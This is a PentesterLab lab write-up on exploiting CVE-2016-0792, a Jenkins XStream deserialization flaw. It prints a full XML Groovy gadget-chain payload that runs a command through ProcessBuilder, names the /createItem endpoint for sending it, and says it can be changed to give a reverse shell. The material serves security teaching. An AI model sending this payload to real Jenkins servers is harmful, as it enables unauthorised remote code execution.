Pentesterlab Serialize Badge/CVE-2016-0792

> Saikat Karmakar | Sept 7 : 2021

Introduction

This course details the exploitation of a serialization issue in Jenkins. When a Java application unserialises arbitrary data, it is possible for an attacker to trigger unexpected behaviours in the application and even gain command execution.

The details of the exploitation of this exercise have initially been published on Contrast Security blog: https://www.contrastsecurity.com/security-influencers/serialization-must-die-act-2-xstream.

If you're using the ISO, make sure you have Internet access during the boot as Jenkins needs to download some libraries during its startup

The issue

This issue was discovered in Jenkins and allow an attacker to gain remote code execution on the server hosting Jenkins.

Jenkins supports serialised objects based on XStream. Previously, it was possible to get code execution using `java.beans.EventHandlerbut` it's no longer the case.

Thankfully, Jenkins embeds few third party libraries that include Gadget that can provide an attacker with remote code execution. The payload illustrated in this exercise relies on Groovy:

```xml
<map>
  <entry>
    <groovy.util.Expando>
      <expandoProperties>
        <entry>
          <string>hashCode</string>
          <org.codehaus.groovy.runtime.MethodClosure>
            <delegate class="groovy.util.Expando"/>
            <owner class="java.lang.ProcessBuilder">
              <command>
                <string>open</string>
                <string>/Applications/Calculator.app</string>
              </command>
            </owner>
            <method>start</method>
          </org.codehaus.groovy.runtime.MethodClosure>
        </entry>
      </expandoProperties>
    </groovy.util.Expando>
    <int>1</int>
  </entry>
</map>
```

By sending this payload, Jenkins will unserialize the data provided and will allow an attacker to gain code execution.

This payload can (for example) be sent to the following URL:

```
POST /createItem?name=test HTTP/1.0
[...]
```

By modifying the payload, you will be able to get a reverse-shell (for the ISO) or to run the scoring binary for the online version.

Conclusion

This demonstrates how you can get code execution if an application unserialises arbitrary data. Here the exploitation relies on two problems: Jenkins accepts serialized object and Jenkins embeds Groovy. I hope you enjoyed learning with PentesterLab.